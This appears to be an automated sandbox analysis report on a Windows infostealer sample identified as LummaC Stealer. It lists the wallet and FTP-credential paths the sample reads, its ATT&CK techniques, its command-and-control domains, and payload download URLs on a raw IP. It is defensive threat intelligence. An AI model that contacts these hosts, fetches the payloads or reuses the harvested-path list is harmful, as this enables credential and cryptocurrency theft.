Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWETZDQDIB	Jump to behavior

Source: Yara match	File source: 00000004.00000003.1614564165.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1664427486.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1639125954.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1637781834.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7672, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	223 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	51%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.XPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://atten-supporse.biz/S	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apiI	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apiu	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apiS	100%	Avira URL Cloud	malware
https://atten-supporse.biz/;	100%	Avira URL Cloud	malware
https://atten-supporse.biz/apiS	1%	Virustotal		Browse
https://atten-supporse.biz/;	5%	Virustotal		Browse
https://atten-supporse.biz/apiI	1%	Virustotal		Browse
https://atten-supporse.biz/S	10%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	104.21.32.1	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
dare-curbys.biz	false	high
impend-differ.biz	false	high
dwell-exclaim.biz	false	high
zinc-sneark.biz	false	high
formy-spill.biz	false	high
se-blurry.biz	false	high
covery-mover.biz	false	high
https://atten-supporse.biz/api	false	high
atten-supporse.biz	false	high
print-vexer.biz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_110.13.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000004.00000003.1664096555.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_110.13.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://atten-supporse.biz/S	file.exe, 00000004.00000003.1748333660.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748503437.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748543051.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeM	file.exe, 00000004.00000003.1939744986.00000000014F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1941543395.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1939549075.000000000149F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz	file.exe, 00000004.00000003.1687396161.0000000001508000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1687492752.0000000001512000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_110.13.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_102.13.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_110.13.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_110.13.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_110.13.dr, chromecache_77.13.dr, chromecache_111.13.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/apiu	file.exe, 00000004.00000003.1637465538.0000000001507000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://learn-video.azurefd.net/vod/player	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://github.com/gewarren	chromecache_110.13.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000004.00000003.1639178536.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://atten-supporse.biz/;	file.exe, 00000004.00000003.1748333660.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748503437.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748543051.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_110.13.dr	false		high
https://atten-supporse.biz/apiG	file.exe, 00000004.00000003.1614564165.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_110.13.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_110.13.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://atten-supporse.biz/api9	file.exe, 00000004.00000003.1687396161.0000000001508000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1687492752.0000000001512000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/certhelp	chromecache_91.13.dr, chromecache_102.13.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000004.00000003.1939744986.00000000014F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1941543395.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1939549075.000000000149F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000004.00000003.1664096555.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_110.13.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_110.13.dr	false		high
https://schema.org	chromecache_102.13.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://atten-supporse.biz/apiS	file.exe, 00000004.00000003.1748333660.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748503437.00000000014ED000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000004.00000003.1639178536.0000000005D1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_110.13.dr	false		high
https://atten-supporse.biz/apiI	file.exe, 00000004.00000003.1936169683.000000000150B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1704990079.0000000001501000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1941635347.000000000150B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1748355617.0000000001512000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1705109139.0000000001504000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1856155217.0000000001513000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1705196771.000000000150A000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_110.13.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://github.com/adegeo	chromecache_110.13.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000004.00000003.1664096555.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_91.13.dr, chromecache_102.13.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000004.00000003.1638023699.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000004.00000003.1664096555.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000004.00000003.1664096555.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_91.13.dr, chromecache_102.13.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000004.00000002.1940554261.0000000000F9B000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000004.00000003.1939744986.00000000014F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000002.1941543395.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1939549075.000000000149F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_110.13.dr	false		high
https://atten-supporse.biz/	file.exe, 00000004.00000003.1377432121.00000000014FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664427486.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1639125954.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1637781834.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1687603648.00000000014ED000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000004.00000003.1377596019.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1377721707.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_91.13.dr, chromecache_102.13.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000004.00000003.1664096555.0000000005C01000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000003.1664133936.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.32.1	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572070
Start date and time:	2024-12-10 03:40:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/61@7/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.22.50.131, 184.28.89.167, 172.217.19.238, 173.194.222.84, 172.217.21.35, 2.20.41.214, 172.217.17.46, 142.250.181.138, 172.217.19.234, 142.250.181.10, 172.217.19.170, 172.217.17.74, 142.250.181.106, 142.250.181.74, 172.217.19.202, 172.217.17.42, 2.19.198.56, 23.32.238.130, 172.217.17.35, 13.107.246.63, 20.109.210.53, 184.28.90.27
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:41:17	API Interceptor	34001x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand, and the URL structure is consistent with Microsoft's official domains.", "There are no suspicious elements in the URL such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used by companies for educational or documentation purposes, which aligns with Microsoft's services." ], "riskscore": 1}
URL: learn.microsoft.com Brands: u Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://sgwarch-my.sharepoint.com/:f:/p/setup1/EiozDTFdgcdOj57XSlxa0wgB_yucGXpVtBz0YeRUUS4djA?e=J1BMm6&xsdata=MDV8MDJ8bG9nYW5AaG9sdHhwLmNvbXw4NzViY2I1MjBhNzQ0NjAxMGYxODA4ZGQxODZlODVlN3w0Y2NhZDYyOTg3ZWM0MmRmOTU3YTYxMmI0OTU2YmE3NXwwfDB8NjM4NjkzNTg1MTc0NTY1ODEyfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=cmt5N3BwOXR0VGIwbDEyNWFnZmRKYVBMMzhQVUJ4bmJpNnppZGtydXJjST0%3d	Get hash	malicious	HTMLPhisher	Browse
	http://842991738.747100519.128322614.784396125.visitorchecking.ru/?ws=628584733.299643379.127950398.351850602	Get hash	malicious	Unknown	Browse
	CLDownloader.exe	Get hash	malicious	XWorm	Browse
	CLDownloader.exe	Get hash	malicious	XWorm	Browse
	https://drive.google.com/file/d/1yoYdaJg2olHzjqEKXjn6nnXKPPak7HoL/view?usp=sharing_eil&ts=675747b9	Get hash	malicious	Unknown	Browse
	https://sh4jy.mjt.lu/lnk/AV0AAFiNIwMAAAAAAAAAA8wRVoMAAYKJDQMAAAAAAC0N0gBnVlPBSD3zYwznT1GcHaCspa7g1wApgg8/1/4d5DW5X0pgnAE8y9A887Zg/aHR0cHM6Ly9yZWJyYW5kLmx5L21rbmR0ZTU	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse
	https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=	Get hash	malicious	Unknown	Browse
104.21.32.1	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/def.exe
